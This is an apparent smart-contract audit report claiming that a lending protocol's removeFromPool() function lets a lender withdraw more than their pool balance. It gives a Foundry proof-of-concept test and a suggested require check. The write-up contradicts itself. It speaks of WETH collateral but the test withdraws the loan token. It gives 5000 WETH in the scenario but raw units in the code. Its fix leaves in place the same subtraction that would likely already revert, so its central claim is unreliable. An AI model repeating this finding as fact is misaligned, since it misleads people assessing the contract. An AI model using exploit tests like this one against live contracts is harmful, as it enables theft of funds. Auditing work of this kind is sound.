Summary
The protocol does not check if the who wants to remove collateral amount from his pool has enough balance. Please follow through the following POC where I explain the vulnerability in depth.
Vulnerability Details
-
Consider Alice puts 10000 WETH as collateral in her pool.
-
Later, Bob puts 1000 WETH as collateral in his pool.
-
Bob calls the removeFromPool()
function with params as his own poolId
and amount = 5000 WETH. This call should revert because the amount to be withdrawn exceeds Bob's balance in the Lender contract.
-
Since the removeFromPool()
misses the following check:
require(pools[poolId].poolBalance >= amount, "Not enough balance");
It proceeds to withdraw the entire 5000 amount, and only deducts 1000 from the user's balance.
Please add the following test case in lender.t.sol
file, and go through the comments to understand more.
function test_removeFromPool() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 10000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
vm.startPrank(lender2);
Pool memory pp = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(pp);
bytes32 poolId = keccak256(
abi.encode(
address(lender2),
address(loanToken),
address(collateralToken)
)
);
uint256 loanTokenBalanceBefore = loanToken.balanceOf(address(lender2));
lender.removeFromPool(poolId, 5000);
uint256 loanTokenBalanceAfter = loanToken.balanceOf(address(lender2));
console.log("loanTokenBalanceBefore", loanTokenBalanceBefore);
console.log("loanTokenBalanceAfter", loanTokenBalanceAfter);
assertEq(loanTokenBalanceBefore + 5000, loanTokenBalanceAfter);
}
Impact
High: User can drain all the collateral tokens from the contract, including the tokens he is not entitled to.
Tools Used
Manual
Recommendations
Add the require
check:
function removeFromPool(bytes32 poolId, uint256 amount) external {
if (pools[poolId].lender != msg.sender) revert Unauthorized();
if (amount == 0) revert PoolConfig();
require(pools[poolId].poolBalance >= amount, "Not enough balance");
_updatePoolBalance(poolId, pools[poolId].poolBalance - amount);
IERC20(pools[poolId].loanToken).transfer(msg.sender, amount);
}